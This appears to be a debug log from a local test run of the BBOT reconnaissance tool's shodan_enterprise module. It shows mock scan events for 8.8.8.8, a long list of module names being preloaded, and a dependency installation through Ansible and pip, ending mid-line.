VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check +2026-03-02 09:03:15,990 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) from shodan_enterprise +2026-03-02 09:03:15,990 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,991 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) from shodan_enterprise +2026-03-02 09:03:15,991 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) passed post-check +2026-03-02 09:03:15,991 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) from shodan_enterprise +2026-03-02 09:03:15,991 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) passed post-check +2026-03-02 09:03:15,992 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) from shodan_enterprise +2026-03-02 09:03:15,992 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:03:15,992 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) from shodan_enterprise +2026-03-02 09:03:15,993 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,993 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-02 09:03:15,993 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-02 09:03:15,994 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-02 09:03:15,994 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-02 09:03:15,994 [VERBOSE] bbot.scanner logger.py:151 Completed finish() +2026-03-02 09:03:15,994 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-02 09:03:15,995 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-02 09:03:15,995 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-02 09:03:16,095 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-02 09:03:16,095 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() +2026-03-02 09:03:16,104 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-02 09:03:16,105 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-02 09:03:16,105 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-02 09:03:16,109 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-02 09:03:16,109 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... +2026-03-02 09:03:16,110 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-02 09:03:16,111 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal +2026-03-02 09:03:16,111 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... +2026-03-02 09:03:16,112 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down +2026-03-02 09:03:16,179 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_enterprise_test_gxnvavuix2 completed in 0 seconds with status FINISHED +2026-03-02 09:03:16,179 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-02 09:03:16,180 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:03:16,181 [CRITICAL] bbot test_module_shodan_enterprise.py:70 Found 1 ASN events +2026-03-02 09:03:16,181 [CRITICAL] bbot test_module_shodan_enterprise.py:81 TCP ports: ['8.8.8.8:53'], UDP ports: ['8.8.8.8:53'] +2026-03-02 09:03:16,181 [HUGEWARNING] bbot logger.py:151 Vulnerabilities observed: {'CVE-2022-11111': 'CRITICAL', 'CVE-2021-12345': 'HIGH', 'CVE-2020-00001': 'LOW'} +2026-03-02 09:03:16,182 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-03-02 09:03:16,182 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-03-02 09:05:11,010 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output +2026-03-02 09:05:11,018 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-02 09:05:11,018 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-02 09:05:11,019 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-02 09:05:11,020 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-02 09:05:11,020 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-02 09:05:11,021 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-02 09:05:11,021 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-02 09:05:11,022 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-02 09:05:11,022 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-02 09:05:11,023 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-02 09:05:11,023 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-02 09:05:11,024 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-02 09:05:11,024 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-02 09:05:11,025 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-02 09:05:11,025 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-02 09:05:11,026 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-02 09:05:11,026 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-02 09:05:11,027 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-02 09:05:11,027 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-02 09:05:11,028 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-02 09:05:11,028 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-02 09:05:11,029 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal +2026-03-02 09:05:11,029 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-02 09:05:11,030 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-02 09:05:11,030 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-02 09:05:11,031 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-02 09:05:11,031 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-02 09:05:11,031 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-02 09:05:11,032 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates +2026-03-02 09:05:11,032 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz +2026-03-02 09:05:11,033 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-02 09:05:11,034 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules +2026-03-02 09:05:11,034 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-02 09:05:11,035 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-02 09:05:11,035 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-02 09:05:11,036 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-02 09:05:11,036 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-02 09:05:11,037 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-02 09:05:11,038 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-02 09:05:11,041 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-02 09:05:11,041 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-02 09:05:11,042 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-02 09:05:11,043 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-02 09:05:11,043 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-02 09:05:11,044 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-02 09:05:11,045 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-02 09:05:11,045 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-02 09:05:11,046 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-02 09:05:11,046 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules +2026-03-02 09:05:11,046 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-02 09:05:11,047 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-02 09:05:11,047 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-02 09:05:11,048 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-02 09:05:11,048 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-02 09:05:11,049 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-02 09:05:11,049 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-02 09:05:11,049 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-02 09:05:11,050 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-02 09:05:11,050 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-02 09:05:11,050 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-02 09:05:11,053 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-02 09:05:11,053 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-02 09:05:11,054 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-02 09:05:11,054 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-02 09:05:11,054 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-02 09:05:11,055 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-02 09:05:11,055 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-02 09:05:11,056 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-02 09:05:11,056 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-02 09:05:11,057 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-02 09:05:11,057 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-02 09:05:11,057 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-02 09:05:11,058 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-02 09:05:11,058 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-02 09:05:11,059 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-02 09:05:11,059 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-02 09:05:11,059 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-02 09:05:11,060 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-02 09:05:11,060 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-02 09:05:11,060 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-02 09:05:11,061 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-02 09:05:11,061 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-02 09:05:11,062 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-02 09:05:11,062 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-02 09:05:11,063 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-02 09:05:11,063 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-02 09:05:11,066 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-02 09:05:11,066 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-02 09:05:11,067 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-02 09:05:11,067 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-02 09:05:11,068 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-02 09:05:11,068 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-02 09:05:11,069 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-02 09:05:11,069 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-02 09:05:11,070 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-02 09:05:11,070 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-02 09:05:11,071 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-02 09:05:11,071 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-02 09:05:11,072 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-02 09:05:11,072 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-02 09:05:11,072 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-02 09:05:11,073 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-02 09:05:11,073 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-02 09:05:11,074 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-02 09:05:11,074 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-02 09:05:11,074 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-02 09:05:11,075 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-02 09:05:11,075 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-02 09:05:11,075 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-02 09:05:11,076 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-02 09:05:11,076 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-02 09:05:11,077 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-02 09:05:11,077 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-02 09:05:11,078 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-02 09:05:11,078 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-02 09:05:11,079 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-02 09:05:11,079 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-02 09:05:11,080 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-02 09:05:11,080 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-02 09:05:11,080 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-02 09:05:11,081 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-02 09:05:11,081 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-02 09:05:11,082 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-02 09:05:11,082 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-02 09:05:11,082 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-02 09:05:11,083 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-02 09:05:11,083 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-02 09:05:11,084 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-02 09:05:11,084 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-02 09:05:11,084 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-02 09:05:11,085 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-02 09:05:11,085 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-02 09:05:11,086 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-02 09:05:11,086 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-02 09:05:11,086 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-02 09:05:11,087 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-02 09:05:11,087 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-02 09:05:11,088 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-02 09:05:11,088 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-02 09:05:11,089 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-02 09:05:11,089 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-02 09:05:11,089 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-02 09:05:11,090 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-02 09:05:11,090 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-02 09:05:11,091 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-02 09:05:11,091 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-02 09:05:11,091 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-02 09:05:11,092 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-02 09:05:11,092 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-02 09:05:11,093 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-02 09:05:11,093 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-02 09:05:11,094 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-02 09:05:11,095 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-02 09:05:11,095 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-02 09:05:11,096 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-02 09:05:11,096 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-02 09:05:11,096 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-02 09:05:11,097 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-02 09:05:11,097 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-02 09:05:11,098 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-02 09:05:11,098 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-02 09:05:11,098 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-02 09:05:11,099 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-02 09:05:11,099 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-02 09:05:11,100 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report +2026-03-02 09:05:11,100 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-02 09:05:11,100 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-02 09:05:11,101 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly +2026-03-02 09:05:11,101 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-02 09:05:11,936 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:05:11,937 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:05:11,937 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-02 09:05:12,034 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-02 09:05:12,425 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-02 09:05:12,426 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-02 09:05:12,426 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-02 09:05:12,426 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-02 09:05:12,560 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-02 09:05:12,561 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-02 09:05:12,667 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-02 09:05:12,670 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-02 09:05:12,696 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) +2026-03-02 09:05:12,698 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-02 09:05:12,698 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general +2026-03-02 09:05:13,108 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-02 09:05:13,109 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-02 09:05:15,386 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful +2026-03-02 09:05:15,386 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-02 09:05:15,387 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-02 09:05:19,176 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-02 09:05:19,177 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-02 09:05:19,181 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:05:19,181 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-02 09:05:19,181 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:05:19,181 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-02 09:05:19,182 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:05:19,182 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-02 09:05:19,182 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:05:19,182 [HUGEINFO] bbot.core.helpers.depsinstaller logger.py:151 Installing module dependencies. Please be patient, this may take a while. +2026-03-02 09:05:19,182 [VERBOSE] bbot.core.helpers.depsinstaller logger.py:151 Installing dependencies for module "shodan_enterprise" +2026-03-02 09:05:19,183 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-02 09:05:19,185 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/iw6p5jt9qawpad6rnbt5 +2026-03-02 09:05:19,900 [INFO] bbot.core.helpers.depsinstaller 